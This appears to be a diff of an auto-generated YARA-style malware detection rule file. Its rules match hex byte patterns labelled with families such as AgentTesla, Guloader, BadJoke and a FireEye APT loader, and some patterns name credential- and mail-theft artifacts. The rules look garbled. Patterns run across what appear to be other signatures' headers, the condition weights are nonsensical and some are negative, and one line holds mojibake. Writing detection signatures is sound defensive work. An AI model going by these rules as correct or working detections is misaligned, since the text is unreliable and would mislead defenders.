23 41 4c 46 3a 42 61 63 6b } //385 - $a_72_9 = {57 69 6e 36 34 2f 49 63 65 64 69 64 2e 47 41 21 4d 54 42 00 01 00 12 80 01 66 69 78 65 64 5f 6c 6f 61 64 65 72 36 34 2e 64 6c 6c 01 00 0a 80 01 6d 61 69 6c 5f 76 61 75 6c 74 01 00 06 80 01 69 65 5f 72 65 67 01 00 07 80 01 6f 75 74 6c 6f 6f 6b 01 00 08 80 01 75 73 65 72 5f 6e 75 6d 01 00 04 80 01 63 72 65 64 01 00 14 80 01 41 75 74 } //28516 + $a_72_3 = {65 6c 33 32 3a 3a 56 69 72 74 75 61 6c 50 72 6f 74 65 63 74 28 90 02 2f 29 90 00 01 00 19 03 6b 65 72 6e 65 6c 33 32 3a 3a 52 65 61 64 46 69 6c 65 28 90 02 2f 29 90 00 01 00 09 80 01 40 43 3a 5c 54 45 4d 50 5c 01 00 0a 01 65 78 70 65 6c 6c 69 6e 67 2e 00 00 78 e9 00 00 0a 00 0a 00 03 00 21 23 54 45 4c } //27395 + $a_6f_4 = {61 6e 3a 57 69 6e 36 34 2f 42 61 64 4a 6f 6b 65 2e 53 58 21 4d 54 42 00 05 00 46 01 8b 85 14 01 00 00 ff c0 89 85 14 01 00 00 8b 45 44 0f af 45 64 39 85 14 01 00 00 7d 29 48 63 85 14 01 00 00 48 8b 8d d8 00 00 00 8b 04 81 05 68 01 00 00 48 63 8d 14 01 00 00 48 8b 95 d8 00 00 00 89 04 8a eb ba 03 00 2f 03 48 8d 85 e4 01 00 00 48 89 44 24 28 } //21562 + $a_20_5 = {00 00 00 45 33 c9 45 33 c0 33 d2 b9 45 01 00 c0 ff 95 90 01 05 b9 ff ff ff ff ff 15 90 00 02 00 3e 03 45 33 } //17607 + $a_03_6 = {00 00 00 ba 00 00 00 10 48 8d 0d 90 01 04 ff 15 90 01 04 48 89 45 28 48 c7 44 24 20 00 00 00 00 4c 8d 4d 04 41 b8 00 80 00 00 48 8d 15 90 01 04 48 8b 4d 28 ff 15 90 00 00 00 78 e9 00 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 38 30 36 32 32 21 4d 54 42 00 05 00 24 01 61 32 35 36 30 65 66 38 2d 62 37 64 66 2d 34 37 61 65 2d 61 66 39 37 2d 34 39 35 34 37 35 31 66 64 32 33 32 01 00 20 01 43 6c 61 73 73 43 6f 6d 70 61 6e 69 6f 6e 44 42 43 6f 6e 6e 65 63 74 69 6f 6e 53 74 72 } //16841 + $a_01_7 = {00 13 01 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 22 01 43 6c 61 73 73 43 6f 6d 70 61 6e 69 6f 6e 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 12 01 43 72 65 61 74 65 5f 5f 49 6e 73 74 61 6e 63 65 5f 5f 01 00 13 01 44 69 73 70 6f 73 65 5f 5f 49 6e 73 74 61 6e 63 65 } //28265 condition: - ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*1536+(#a_01_2 & 1)*20557+(#a_72_3 & 1)*27395+(#a_72_4 & 1)*14930+(#a_6e_5 & 1)*28781+(#a_65_6 & 1)*28257+(#a_62_7 & 1)*14381+(#a_6e_8 & 1)*385+(#a_72_9 & 1)*28516) >=9 + ((#a_54_0 & 1)*18467+(#a_25_1 & 1)*1536+(#a_01_2 & 1)*20557+(#a_72_3 & 1)*27395+(#a_6f_4 & 1)*21562+(#a_20_5 & 1)*17607+(#a_03_6 & 1)*16841+(#a_01_7 & 1)*28265) >=9 } -rule _InfrastructureShared_15337{ +rule _InfrastructureShared_16342{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 42 61 64 4a 6f 6b 65 2e 53 58 21 4d 54 42 00 05 00 46 01 8b 85 14 01 00 00 ff c0 89 85 14 01 00 00 8b 45 44 0f af 45 64 39 85 14 01 00 00 7d 29 48 63 85 14 01 00 00 48 } //21539 + $a_00_1 = {00 00 8b 04 81 05 68 01 00 00 48 63 8d 14 01 00 00 48 8b 95 d8 00 00 00 89 04 8a eb ba 03 00 2f 03 48 8d 85 e4 01 00 00 48 89 44 24 28 c7 44 24 20 06 00 00 00 45 33 c9 45 33 c0 33 d2 b9 45 01 00 c0 ff 95 90 01 05 b9 ff ff ff ff ff 15 90 00 02 00 3e 03 45 33 c9 41 b8 03 00 00 00 ba 00 00 00 10 48 8d 0d 90 01 04 ff 15 90 01 04 48 89 45 28 48 c7 44 24 20 00 00 00 00 4c 8d 4d 04 41 b8 00 80 00 00 48 8d 15 90 01 04 48 8b 4d 28 ff 15 90 00 00 00 78 e9 00 00 0a 00 0a 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 38 30 36 32 32 21 4d 54 42 00 05 00 24 01 61 32 35 36 30 65 66 38 2d 62 37 } //-29301 + $a_34_2 = {61 65 2d 61 66 39 37 2d 34 39 35 34 37 35 31 66 64 32 33 32 01 00 20 01 43 6c 61 73 73 43 6f 6d 70 61 6e 69 6f 6e 44 42 43 6f 6e 6e 65 } //26212 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*-29301+(#a_34_2 & 1)*26212) >=10 + +} +rule _InfrastructureShared_16343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 06 00 21 " @@ -177749,7 +189635,7 @@ rule _InfrastructureShared_15337{ ((#a_54_0 & 1)*18467+(#a_43_1 & 1)*29537+(#a_65_2 & 1)*28528+(#a_6e_3 & 1)*25711+(#a_00_4 & 1)*3160+(#a_2d_5 & 1)*769) >=10 } -rule _InfrastructureShared_15338{ +rule _InfrastructureShared_16344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -177769,7 +189655,7 @@ rule _InfrastructureShared_15338{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28229+(#a_58_2 & 1)*9478+(#a_2a_3 & 1)*1536+(#a_21_4 & 1)*18222+(#a_01_5 & 1)*2048+(#a_00_6 & 1)*0+(#a_56_7 & 1)*11843+(#a_8b_8 & 1)*-14333+(#a_01_9 & 1)*2692+(#a_63_10 & 1)*30063) >=11 } -rule _InfrastructureShared_15339{ +rule _InfrastructureShared_16345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0c 00 21 " @@ -177789,7 +189675,7 @@ rule _InfrastructureShared_15339{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*26469+(#a_75_2 & 1)*384+(#a_73_3 & 1)*26469+(#a_48_4 & 1)*400+(#a_48_5 & 1)*-29880+(#a_72_6 & 1)*611+(#a_01_8 & 1)*-28556+(#a_07_9 & 1)*256+(#a_00_10 & 1)*400+(#a_90_11 & 1)*2826) >=11 } -rule _InfrastructureShared_15340{ +rule _InfrastructureShared_16346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -177805,7 +189691,7 @@ rule _InfrastructureShared_15340{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*-29880+(#a_72_2 & 1)*611+(#a_01_4 & 1)*-28556+(#a_07_5 & 1)*256+(#a_00_6 & 1)*400+(#a_90_7 & 1)*2826) >=12 } -rule _InfrastructureShared_15341{ +rule _InfrastructureShared_16347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -177817,7 +189703,7 @@ rule _InfrastructureShared_15341{ ((#a_54_0 & 1)*18467+(#a_0c_1 & 1)*0+(#a_00_2 & 1)*656) >=13 } -rule _InfrastructureShared_15342{ +rule _InfrastructureShared_16348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0e 00 0a 00 21 " @@ -177836,7 +189722,7 @@ rule _InfrastructureShared_15342{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*29810+(#a_cb_2 & 1)*-14766+(#a_06_3 & 1)*4866+(#a_18_4 & 1)*1025+(#a_28_5 & 1)*1025+(#a_01_6 & 1)*-29417+(#a_e9_7 & 1)*0+(#a_ff_8 & 1)*400+(#a_00_9 & 1)*2057) >=14 } -rule _InfrastructureShared_15343{ +rule _InfrastructureShared_16349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -177851,7 +189737,7 @@ rule _InfrastructureShared_15343{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*5669+(#a_01_2 & 1)*28521+(#a_72_3 & 1)*14924+(#a_38_4 & 1)*4865+(#a_0d_5 & 1)*5897) >=15 } -rule _InfrastructureShared_15344{ +rule _InfrastructureShared_16350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 05 00 21 " @@ -177863,7 +189749,7 @@ rule _InfrastructureShared_15344{ ((#a_4c_0 & 1)*21539+(#a_01_1 & 1)*28420+(#a_00_4 & 1)*70) >=16 } -rule _InfrastructureShared_15345{ +rule _InfrastructureShared_16351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,46 00 46 00 07 00 21 " @@ -177879,7 +189765,7 @@ rule _InfrastructureShared_15345{ ((#a_77_0 & 1)*16675+(#a_63_1 & 1)*24937+(#a_25_2 & 1)*278+(#a_31_3 & 1)*14384+(#a_00_4 & 1)*8236+(#a_01_5 & 1)*22275+(#a_52_6 & 1)*25185) >=70 } -rule _InfrastructureShared_15346{ +rule _InfrastructureShared_16352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -177890,7 +189776,7 @@ rule _InfrastructureShared_15346{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*16490) >=1 } -rule _InfrastructureShared_15347{ +rule _InfrastructureShared_16353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -177901,7 +189787,7 @@ rule _InfrastructureShared_15347{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*17537) >=2 } -rule _InfrastructureShared_15348{ +rule _InfrastructureShared_16354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -177911,7 +189797,7 @@ rule _InfrastructureShared_15348{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_15349{ +rule _InfrastructureShared_16355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -177923,7 +189809,7 @@ rule _InfrastructureShared_15349{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*83+(#a_00_2 & 1)*115) >=2 } -rule _InfrastructureShared_15350{ +rule _InfrastructureShared_16356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177934,7 +189820,7 @@ rule _InfrastructureShared_15350{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_15351{ +rule _InfrastructureShared_16357{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177944,7 +189830,7 @@ rule _InfrastructureShared_15351{ ((#a_46_0 & 1)*16675) >=3 } -rule _InfrastructureShared_15352{ +rule _InfrastructureShared_16358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177956,7 +189842,7 @@ rule _InfrastructureShared_15352{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_00_2 & 1)*82) >=3 } -rule _InfrastructureShared_15353{ +rule _InfrastructureShared_16359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177966,7 +189852,7 @@ rule _InfrastructureShared_15353{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15354{ +rule _InfrastructureShared_16360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -177978,7 +189864,7 @@ rule _InfrastructureShared_15354{ ((#a_54_0 & 1)*18467+(#a_1f_1 & 1)*15897+(#a_61_2 & 1)*29559) >=3 } -rule _InfrastructureShared_15355{ +rule _InfrastructureShared_16361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -177990,20 +189876,45 @@ rule _InfrastructureShared_15355{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*114) >=4 } -rule _InfrastructureShared_15356{ +rule _InfrastructureShared_16362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {59 32 56 3a 46 69 72 65 45 79 65 2f 41 50 54 5f 4c 6f 61 64 65 72 5f 57 69 6e 33 32 5f 44 53 68 65 6c 6c 5f 33 00 01 00 40 03 6a 40 68 00 30 00 00 90 01 04 90 02 1c e8 90 01 04 90 02 04 50 90 02 10 e8 90 01 04 90 02 92 6a ff 90 } //16675 $a_02_1 = {1f 6a 00 6a 00 90 04 01 03 50 2d 5f 6a 00 6a 00 90 02 20 e8 90 01 04 50 90 00 01 00 0e 01 00 43 72 65 61 74 65 54 68 72 65 61 64 00 01 00 28 03 62 61 73 65 36 34 2e 64 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 30 03 63 6f 72 65 2e 73 79 73 2e 77 69 6e 64 6f 77 73 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 ea } //257 - $a_00_2 = {05 00 05 00 21 } //0 - $a_46_3 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 62 4d 61 74 72 69 78 2e 41 21 64 68 61 00 01 00 18 01 47 00 42 00 4d 00 61 00 74 00 72 00 69 00 78 00 2e 00 65 00 78 00 65 00 01 00 24 01 47 00 69 00 61 00 6e 00 74 00 42 00 6c } //16675 剅吺潲慪㩮楗㍮⼲扇慍牴硩䄮搡慨Ā᠀䜁䈀䴀愀琀爀椀砀⸀攀砀攀Ā␀䜁椀愀渀琀䈀氀 + $a_00_2 = {04 00 04 00 } //0 + $a_4c_3 = {50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 6e 50 61 63 6b 61 67 69 6e 67 2e 42 21 64 68 61 00 01 00 59 01 00 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 } //8993 condition: - ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*257+(#a_00_2 & 1)*0+(#a_46_3 & 1)*16675) >=4 + ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*257+(#a_00_2 & 1)*0+(#a_4c_3 & 1)*8993) >=4 } -rule _InfrastructureShared_15357{ +rule _InfrastructureShared_16363{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4e 65 6f 6e 50 61 63 6b 61 67 69 6e 67 2e 42 21 64 68 61 00 01 00 59 01 00 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 } //16675 + $a_36_1 = {3b 20 54 72 69 64 65 6e 74 2f 37 2e 33 3b 20 2e 4e 45 54 34 2e 30 43 3b 20 2e 4e 45 54 34 2e 30 45 3b 20 72 76 3a 31 31 2e 30 3b 20 72 74 3a 00 01 00 0f 01 00 3b 29 20 6c 69 6b 65 20 47 65 63 6b 6f 00 01 00 2b 01 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 43 72 79 70 74 6f 67 72 61 70 68 79 00 4d 61 63 68 69 6e 65 47 75 69 64 01 00 15 01 53 59 } //8251 + $a_4d_2 = {53 74 61 74 65 5c 44 61 74 65 54 69 6d 65 00 00 78 ea 00 00 04 00 04 00 04 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 45 00 01 00 23 03 8b 45 fc 48 98 90 01 08 48 8b 45 } //21587 + $a_d0_3 = {00 } //18472 + condition: + ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*8251+(#a_4d_2 & 1)*21587+(#a_d0_3 & 1)*18472) >=4 + +} +rule _InfrastructureShared_16364{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 45 00 01 00 23 03 8b 45 fc 48 98 90 01 08 48 8b 45 28 48 01 d0 8b 00 48 63 d0 48 8b 45 30 48 01 d0 0f b6 00 88 45 fb 90 00 01 00 27 03 48 8b 95 10 02 00 00 48 8b 85 c0 } //21283 + $a_48_2 = {c1 48 8b 05 } //400 + $a_ff_3 = {48 89 85 b8 } //400 + condition: + ((#a_46_0 & 1)*21283+(#a_48_2 & 1)*400+(#a_ff_3 & 1)*400) >=4 + +} +rule _InfrastructureShared_16365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -178016,7 +189927,7 @@ rule _InfrastructureShared_15357{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*107+(#a_00_3 & 1)*120+(#a_48_4 & 1)*21620) >=5 } -rule _InfrastructureShared_15358{ +rule _InfrastructureShared_16366{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -178032,7 +189943,7 @@ rule _InfrastructureShared_15358{ ((#a_46_0 & 1)*16675+(#a_68_1 & 1)*24933+(#a_78_2 & 1)*11892+(#a_6f_3 & 1)*12851+(#a_01_4 & 1)*27760+(#a_6c_5 & 1)*384+(#a_6c_6 & 1)*28787) >=5 } -rule _InfrastructureShared_15359{ +rule _InfrastructureShared_16367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -178050,7 +189961,7 @@ rule _InfrastructureShared_15359{ ((#a_6f_0 & 1)*21539+(#a_01_1 & 1)*30066+(#a_54_2 & 1)*18467+(#a_01_3 & 1)*6912+(#a_78_4 & 1)*11884+(#a_4b_5 & 1)*25927+(#a_01_6 & 1)*3327+(#a_72_7 & 1)*29285+(#a_61_8 & 1)*28015) >=5 } -rule _InfrastructureShared_15360{ +rule _InfrastructureShared_16368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -178068,7 +189979,7 @@ rule _InfrastructureShared_15360{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*6912+(#a_78_2 & 1)*11884+(#a_4b_3 & 1)*25927+(#a_01_4 & 1)*3327+(#a_72_5 & 1)*29285+(#a_61_6 & 1)*28015+(#a_49_7 & 1)*20555+(#a_6e_8 & 1)*27751) >=6 } -rule _InfrastructureShared_15361{ +rule _InfrastructureShared_16369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -178079,15 +189990,14 @@ rule _InfrastructureShared_15361{ $a_66_3 = {72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 ea 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 49 31 32 33 21 4d 54 42 00 01 00 21 81 01 73 74 72 6b 62 61 72 65 73 20 73 6c 61 6d 6b 69 73 74 65 72 20 73 61 6d 6d 65 6e 73 76 72 67 65 72 01 00 10 81 01 72 65 61 6c 6c 65 6b 73 69 6b 6f 6e 65 72 } //28257 $a_00_4 = {1a } //25966 $a_67_5 = {7a 65 62 6f 5c 6d 67 6c 69 6e 67 65 72 73 5c 64 65 72 69 65 72 6e 65 01 00 10 81 01 48 61 6e 64 73 68 61 6b 69 6e 67 30 2e 64 69 76 01 00 0c 81 01 61 64 76 69 73 62 77 72 2e 70 6e 65 01 00 15 81 01 6c 61 76 70 72 69 73 76 61 72 65 68 75 73 65 74 73 2e 66 65 69 01 00 0e 81 01 } //385 - $a_61_6 = {61 6d 69 74 65 2e 62 69 62 01 00 0e 81 01 73 6b 6e 64 73 65 6c 65 6e 73 2e 73 74 69 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4c 21 4d 54 42 00 01 00 06 80 01 73 61 64 61 64 61 01 00 15 80 01 54 61 73 6b 43 61 } //29296 - $a_6c_7 = {64 45 78 63 65 70 74 69 6f 6e 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 79 70 74 01 00 0d 80 01 49 53 65 63 74 69 6f 6e 45 6e 74 72 79 01 00 13 80 01 67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 01 00 13 80 01 67 65 74 5f 56 61 6c 75 65 45 6e 75 6d 65 72 61 74 6f 72 01 00 09 80 01 53 65 6c 65 } //25454 - $a_72_8 = {01 00 10 80 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 1c 80 01 48 65 62 72 65 77 4e 75 6d 62 65 72 50 61 72 73 69 6e 67 2e 43 75 73 74 41 74 74 72 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4b 5a 21 4d 54 42 00 01 00 08 81 01 46 6f } //29795 - $a_74_9 = {73 01 00 08 81 01 47 65 74 41 73 79 6e 63 01 00 14 81 01 52 65 61 64 41 73 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 01 00 0b 81 01 56 71 78 68 6d 74 61 64 79 67 69 01 00 08 81 01 46 68 69 75 6f 66 65 77 01 00 25 81 01 24 35 61 33 65 64 33 39 37 2d 32 39 62 32 2d 34 37 31 65 2d 61 66 39 32 2d 66 31 66 63 33 62 32 37 39 62 39 38 01 00 13 81 01 45 78 64 69 65 6f } //17007 + $a_61_6 = {61 6d 69 74 65 2e 62 69 62 01 00 0e 81 01 73 6b 6e 64 73 65 6c 65 6e 73 2e 73 74 69 00 00 78 ea 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4b 58 30 31 21 4d 54 42 00 01 00 19 81 01 75 6e 64 65 72 73 67 65 6c 73 65 73 6b 6f 6d 6d 69 73 69 6f 6e 2e 6a 70 } //29296 + $a_62_8 = {72 74 69 6e 65 72 65 6e 73 2e 74 72 6b 01 00 11 81 01 61 6d 74 73 70 6c 65 6a 65 68 6a 65 6d 2e 66 74 63 01 00 16 81 01 5c 73 6b 69 65 67 68 5c 65 6d 70 61 74 68 69 73 65 64 2e 69 6e 69 01 00 0a 81 01 74 61 74 63 68 79 2e 73 74 69 01 00 0f 81 01 6d 61 73 6a 61 73 20 73 68 61 6b 61 62 6c 65 01 00 13 81 01 75 70 67 } //27649 + $a_73_9 = {70 72 6f 74 75 62 65 72 6f 75 73 01 00 1d 81 01 73 70 61 6e 64 65 73 20 67 61 61 72 64 68 61 76 65 68 75 73 20 75 6e 6e 75 6d 62 65 64 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4c 21 4d 54 42 00 01 00 06 80 } //29289 condition: - ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*24948+(#a_0f_2 & 1)*-25499+(#a_66_3 & 1)*28257+(#a_00_4 & 1)*25966+(#a_67_5 & 1)*385+(#a_61_6 & 1)*29296+(#a_6c_7 & 1)*25454+(#a_72_8 & 1)*29795+(#a_74_9 & 1)*17007) >=7 + ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*24948+(#a_0f_2 & 1)*-25499+(#a_66_3 & 1)*28257+(#a_00_4 & 1)*25966+(#a_67_5 & 1)*385+(#a_61_6 & 1)*29296+(#a_62_8 & 1)*27649+(#a_73_9 & 1)*29289) >=7 } -rule _InfrastructureShared_15362{ +rule _InfrastructureShared_16370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -178096,32 +190006,49 @@ rule _InfrastructureShared_15362{ $a_01_1 = {00 11 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 13 01 53 65 74 42 61 73 65 50 61 73 73 77 6f 72 64 43 68 61 72 01 00 18 01 43 78 46 6c 61 74 55 49 2e 55 53 47 46 49 2e 72 65 73 6f 75 72 63 65 73 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 13 01 54 } //25955 $a_73_2 = {6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 00 00 78 ea 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 50 50 49 31 32 33 21 4d 54 42 00 01 00 21 81 01 73 74 72 6b 62 61 72 65 73 20 73 6c 61 6d 6b 69 73 74 65 72 20 73 61 6d 6d 65 6e 73 76 72 67 65 72 01 00 10 81 01 72 65 61 6c 6c 65 6b 73 } //24946 $a_6e_3 = {72 6e 65 01 00 1a 81 01 5c 67 61 7a 65 62 6f 5c 6d 67 6c 69 6e 67 65 72 73 5c 64 65 72 69 65 72 6e 65 01 00 10 81 01 48 61 6e 64 73 68 61 6b 69 6e 67 30 2e 64 69 76 01 00 0c 81 01 61 64 76 69 73 62 77 72 2e 70 6e 65 01 00 15 81 01 6c 61 76 70 72 69 73 76 61 72 65 68 75 73 65 74 73 2e 66 65 69 01 00 0e 81 01 70 72 65 61 64 61 6d 69 } //27497 - $a_62_4 = {62 01 00 0e 81 01 73 6b 6e 64 73 65 6c 65 6e 73 2e 73 74 69 00 00 78 ea 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //25972 - $a_4c_5 = {41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4c 21 4d 54 42 00 01 00 06 80 01 73 61 64 61 64 61 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 79 70 74 } //21325 - $a_80_6 = {49 53 65 63 74 69 6f 6e 45 6e 74 72 79 } //ISectionEntry 1 - $a_80_7 = {67 65 74 5f 52 65 73 74 72 69 63 74 65 64 45 72 72 6f 72 } //get_RestrictedError 1 + $a_62_4 = {62 01 00 0e 81 01 73 6b 6e 64 73 65 6c 65 6e 73 2e 73 74 69 00 00 78 ea 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //25972 + $a_61_5 = {65 72 2e 4c 4b 58 30 31 21 4d 54 42 00 01 00 19 81 01 75 6e 64 65 72 73 67 65 6c 73 65 73 6b 6f 6d 6d 69 73 69 6f 6e 2e 6a 70 67 01 00 11 81 01 6c 69 62 65 72 74 69 6e 65 72 65 6e 73 2e 74 72 6b 01 00 11 81 01 61 6d 74 73 70 6c 65 6a 65 68 6a 65 6d 2e 66 74 63 01 00 16 81 01 5c 73 6b 69 65 67 68 5c 65 6d 70 61 74 68 69 73 65 64 2e } //27765 + $a_01_6 = {00 0a 81 01 74 61 74 63 68 79 2e 73 74 69 01 00 0f 81 01 6d 61 73 6a 61 73 20 73 68 61 6b 61 62 6c 65 01 00 13 81 01 75 70 67 69 72 64 73 20 70 72 6f 74 75 62 65 72 6f 75 73 01 00 1d 81 01 73 70 61 6e 64 65 73 20 67 61 61 72 64 68 61 76 65 68 75 73 20 75 6e 6e 75 6d 62 65 64 00 00 78 ea 00 00 09 00 09 00 09 00 21 } //28265 + $a_54_7 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 46 4c 21 4d 54 42 00 01 00 06 80 01 73 61 64 61 64 61 01 00 15 80 01 54 61 73 6b 43 61 6e 63 65 6c 65 64 45 78 63 65 70 74 69 6f 6e 01 00 0b 80 01 58 4f 52 5f 44 65 63 72 } //18467 condition: - ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_73_2 & 1)*24946+(#a_6e_3 & 1)*27497+(#a_62_4 & 1)*25972+(#a_4c_5 & 1)*21325+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1) >=8 + 